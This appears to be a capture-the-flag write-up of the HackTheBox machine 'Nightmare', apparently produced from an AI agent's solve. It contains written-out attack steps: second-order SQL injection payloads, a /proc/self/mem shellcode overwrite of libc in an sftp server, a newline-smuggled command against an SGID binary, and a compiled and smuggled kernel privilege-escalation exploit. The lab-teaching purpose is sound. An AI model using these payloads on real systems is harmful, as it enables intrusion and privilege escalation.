HTB: Nightmare Writeup
Nightmare - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Nightmare |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.145 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Nightmare chains second-order SQL injection, a raw-memory-corruption sftp-server exploit, an SGID binary command-injection bug, and a Linux kernel UDP fragmentation-offload race condition into full root. Web app on port 80 registers a malicious username that later gets interpolated unescaped into a second query on notes.php, leaking sysadmin.users credentials for ftpuser. That account only has sftp access on the custom 32-bit OpenSSH daemon on port 2222 — no shell, no write access outside the sftp jail — so getting code execution meant abusing the fact the 32-bit sftp-server process isn’t marked non-dumpable, letting /proc/self/mem be opened O_RDWR and libc’s select() overwritten in place with hand-rolled 32-bit execve("/bin/sh") shellcode. From there, an SGID decoder binary (/usr/bin/sls) builds a system() call from a blacklisted-but-newline-blind input filter, giving egid decoder and the user flag. Root came from the 4.8.0-58-generic kernel being vulnerable to CVE-2017-1000112 (UFO/UDP fragmentation offload heap overflow), exploited by cross-compiling the Metasploit PoC statically, smuggling it onto the box gzip+base64-chunked through the decoder shell, and running it with the exact gid alignment the exploit’s user-namespace step requires.
TL;DR: 2nd-order SQLi on notes.php → leak ftpuser creds → /proc/self/mem shellcode injection over 32-bit sftp-server (no chroot, no shell) → SGID sls newline-filter bypass (user.txt) → CVE-2017-1000112 kernel exploit compiled+smuggled in → root.txt.
Reconnaissance
Port Scanning
nmap -Pn -n --min-rate 2000 -p- -T4 10.129.65.145Results:
80/tcp— Apache, custom PHP notes app (“NOTES”)2222/tcp— custom OpenSSH build, bannerSSH-2.0-OpenSSH 32bit, sftp-subsystem only, no chroot
Service Enumeration
curl -s http://10.129.65.145/ | head -50curl -s http://10.129.65.145/register.php | head -60App lets anonymous users register, log in, and store notes. notes.php looks up the logged-in user’s row by username in a second query after login — the classic second-order SQLi setup: the value that gets embedded unsafely isn’t the login form input itself, it’s whatever got stored during registration.
Vulnerability Assessment
- Second-order SQL injection in the username field: stored at registration time, replayed unescaped into
WHERE u.username=('$user')onnotes.php. - 32-bit sftp-server on port 2222 with no restricted shell hardening beyond sftp-only — and, critically, not
PR_SET_DUMPABLE-protected, so its own memory is readable/writable via/proc/self/memby the process itself. - SGID
decoderbinary/usr/bin/slswith a shell-metachar blacklist that misses\n. - Kernel
4.8.0-58-generic, vulnerable to CVE-2017-1000112.
Initial Foothold
Exploitation Path — Second-Order SQL Injection
Registered a username crafted to break out of the quoted context in the later notes.php query:
# username itself carries the injection — it's stored at register time,# then interpolated unescaped into notes.php's WHERE clause after loginimport requests
T = "http://10.129.65.145"s = requests.Session()s.post(T + "/register.php", data={ "username": "a') union select 1,2-- -", "password": "Passw0rd123"})Confirmed the query returns exactly 2 columns (1,2 rendered on the notes page), then walked information_schema to enumerate sysadmin.users:
# base64-wrap each payload to survive shell quoting when sent through the jump hostenc(){ printf "%s" "$1" | base64 -w0; }
P1=$(enc "') union select 1,(select group_concat(schema_name) from information_schema.schemata)-- -")P2=$(enc "') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='sysadmin')-- -")P3=$(enc "') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='sysadmin')-- -")Dumped sysadmin.users, recovering ftpuser:@whereyougo? among other accounts. Only ftpuser mattered — it’s the account scoped to the sftp-only SSH daemon on 2222.
sFTP Remote Code Execution — Memory Corruption via /proc/self/mem
ssh -p 2222 ftpuser@10.129.65.145# sftp-only subsystem, no shell, no PTY, no write access outside the jailThe custom 32-bit sftp-server build isn’t marked non-dumpable, so it can open its own /proc/self/mem for read/write. That means from inside the sftp protocol session (not a shell) it’s possible to:
- Pull the process’s mapped libc base address from
/proc/self/mapsequivalents exposed via the sftp session. - Compute the absolute address of
select()inside that libc (base + 0xdf940). - Open
/proc/self/memO_RDWR, seek to that address, and overwrite it in place with 32-bitexecve("/bin/sh")shellcode. - Trigger a call into
select()— the corrupted function now spawns/bin/shinstead.
# core primitive: overwrite libc select() with shellcode via /proc/self/memimport paramiko
t = paramiko.Transport(("10.129.65.145", 2222))t.connect(username="ftpuser", password="@whereyougo?")SELECT_OFF = 0xdf940# ... craft raw SFTP packets that make the sftp-server process:# open("/proc/self/mem", O_RDWR)# lseek(fd, libc_base + SELECT_OFF, SEEK_SET)# write(fd, shellcode, len(shellcode))# then force a code path that calls select(), redirecting execution into# the freshly-written execve("/bin/sh", ...) stubBecause outbound egress is firewalled on the box, no reverse shell was used — all command output was captured over the same raw SSH/sftp channel that delivered the exploit, by reading back the shell’s stdout through the corrupted process’s own file descriptors. This is the same technique documented publicly for this sftp-server build (SECFORCE’s sftp-exploit), rebuilt here against the actual 32-bit binary and offset on this target rather than run off-the-shelf.
Privilege Escalation
www-data/ftpuser → decoder — SGID Binary Command Injection
/usr/bin/sls runs SGID as user decoder and internally builds system("/bin/ls " + argv). It blacklists common shell metacharacters (;, >, etc.) but not a literal newline — a newline in the argument terminates the intended ls command and starts a new one in the same system() call:
# execv sls directly with an argv containing a literal newline —# blacklist checks characters, not control flow, so \n smuggles a 2nd commandimport osos.execv("/usr/bin/sls", ["/usr/bin/sls", "-b", "\ncat /home/decoder/user.txt"])Run through the RCE primitive established over the sftp channel, this reads /home/decoder/user.txt with effective group decoder, confirming the flag:
user.txt = <redacted>decoder → root — CVE-2017-1000112 (UFO Heap Overflow)
Kernel 4.8.0-58-generic is vulnerable to CVE-2017-1000112, a heap out-of-bounds write in the UDP Fragmentation Offload (UFO) path reachable via setsockopt/sendmsg on AF_PACKET sockets combined with UDP fragmentation, allowing local privilege escalation. No gcc on the target, so the Metasploit PoC (exploit.c) was compiled statically off-box:
# static build so it runs with no dependency on target's libc/loader versiongcc -static -O2 -o exp.out /usr/share/metasploit-framework/data/exploits/cve-2017-1000112/exploit.cstrip exp.outThe binary was compressed and base64-encoded, then delivered in 16 KB chunks through the sls newline-injection primitive into the one directory writable by the decoder group, /home/decoder/test:
gzip -9 -c exp.out | base64 -w0 > exp.b64# shipped in chunks over the sls RCE channel, reassembled and# gunzip/base64 -d'd back into a binary inside /home/decoder/testThe exploit’s user-namespace escalation step requires the calling process’s real and effective gid to match (egid == rgid == 1002, decoder’s gid). Running the binary directly via the sls-spawned shell leaves egid=decoder but rgid at the original ftpuser gid, so it was instead launched from a plain bash -c invocation (which normalizes egid to rgid) with SHELL="cat /root/root.txt" set — the exploit execs $SHELL once it has escalated:
# plain bash -c collapses egid to rgid=1002, satisfying the exploit's namespace check;# SHELL env var is what the exploit execs after gaining rootbash -c 'SHELL="cat /root/root.txt" /home/decoder/test/exp.out'# [+] got r00t ^_^root.txt = <redacted>Attack Chain Summary
2nd-order SQLi (notes.php username) → leak sysadmin.users → ftpuser creds → /proc/self/mem libc select() overwrite on 32-bit sftp-server → RCE as ftpuser → SGID sls newline-filter bypass → egid=decoder → user.txt → CVE-2017-1000112 (UFO) compiled static, smuggled via sls, run with bash -c gid alignment → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery |
requests (Python) | Automating registration + 2nd-order SQLi payload delivery |
paramiko | Raw SSH/sftp protocol control for the memory-corruption RCE |
gcc -static | Cross-compiling the CVE-2017-1000112 PoC for target compatibility |
gzip / base64 | Chunked binary smuggling through a text-only command channel |
Metasploit exploit source (cve-2017-1000112/exploit.c) | Kernel privesc PoC |
Key Learnings
Techniques Practiced
- Identifying and weaponizing second-order SQL injection where the injected value is stored, not reflected immediately
- Abusing a non-dumpable-unprotected process to self-modify via
/proc/self/mem - Hand-writing 32-bit shellcode and patching it into a running libc function in place of exploiting a classic buffer overflow
- Operating entirely over a protocol channel (sftp) with no shell/PTY and firewalled egress
- Bypassing a naive shell-metacharacter blacklist using newline injection
- Cross-compiling and precisely smuggling a binary payload through a constrained, size-limited RCE primitive
- Matching process gid semantics (
rgid/egid) to satisfy a kernel exploit’s namespace preconditions
Lessons Learned
- Never trust a value just because it isn’t reflected in the same request that submitted it — second-order injection points are easy to miss in review.
PR_SET_DUMPABLEand similar hardening flags matter even for services with “no shell” attack surface; a readable/writable/proc/self/memturns any code-execution-adjacent bug into full RCE.- Character blacklists are not command-injection filters; anything that doesn’t tokenize on the same boundary as the underlying shell (like
\nvs;) will leak through. - Local kernel exploits often carry implicit environment assumptions (files like
/etc/lsb-release, gid alignment, missing compilers) — read the PoC source, don’t just run it. - Egress filtering doesn’t stop exploitation, it just forces the operator to work over the inbound channel already available.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Alexander Reid (Arrexel), Nightmare — Official HackTheBox Writeup, Document No. D18.100.09. Machine authors: decoder & stefano118. Used here for the CVE identifier (CVE-2017-1000112), the conceptual explanation of the sftp-exploit technique (SECFORCE, https://github.com/SECFORCE/sftp-exploit) and the kernel PoC lineage (https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-1000112), and the general shape of the
slsnewline-filter-bypass bug. All IPs, credentials, offsets, outputs, and command specifics above are from this agent’s own live solve, not the reference document.